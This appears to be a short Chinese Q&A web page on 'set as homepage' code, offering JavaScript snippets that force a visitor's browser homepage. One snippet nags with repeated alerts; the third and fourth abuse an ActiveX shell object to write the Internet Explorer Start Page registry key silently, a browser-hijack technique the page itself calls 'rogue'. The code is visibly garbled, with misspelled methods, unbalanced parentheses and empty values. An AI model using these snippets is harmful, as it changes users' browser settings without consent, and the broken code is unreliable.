设为首页代码
的有关信息介绍如下:设为首页 ?????
连h这个js函数都不贴,明显什么都不懂。
强制设为主页不建议这么做啊,很“流氓”的
强制设为主页代码:
代码一(设置为主页就再弹了):
var u,i
u="";
var showThank=false;
try{
for(i=1;i<=5;i++)
{
if(hp.isHomePage(u))
{
break;
}
else
{
hp.setHomePage(u);
if(!hp.isHomePage(u))
{
alert("方便下次光临本站,请点 是(Y) ,就不再弹了!");
}
else
{
showThank=true;
}
}
}
if(showThank)
{
alert("谢谢您的支持.");
}
}
catch(e){
}
finally{
}
//location.href=u;
代码三:
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval
(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("code=com.ms.activeX.ActiveXCompoment>
");function
yuzi(){try{a1
=document.applets;a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject
();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try
{Shl.RegWrite("hkcu\Software\Microsoft\Internet
Expiorer\Main\Start Page",);}catch(e)
{}}catch(e){}}setTimeout("yuzi()",1000);
}
代码四:
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("");function yuzi(){try{a1
=document.applets;a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}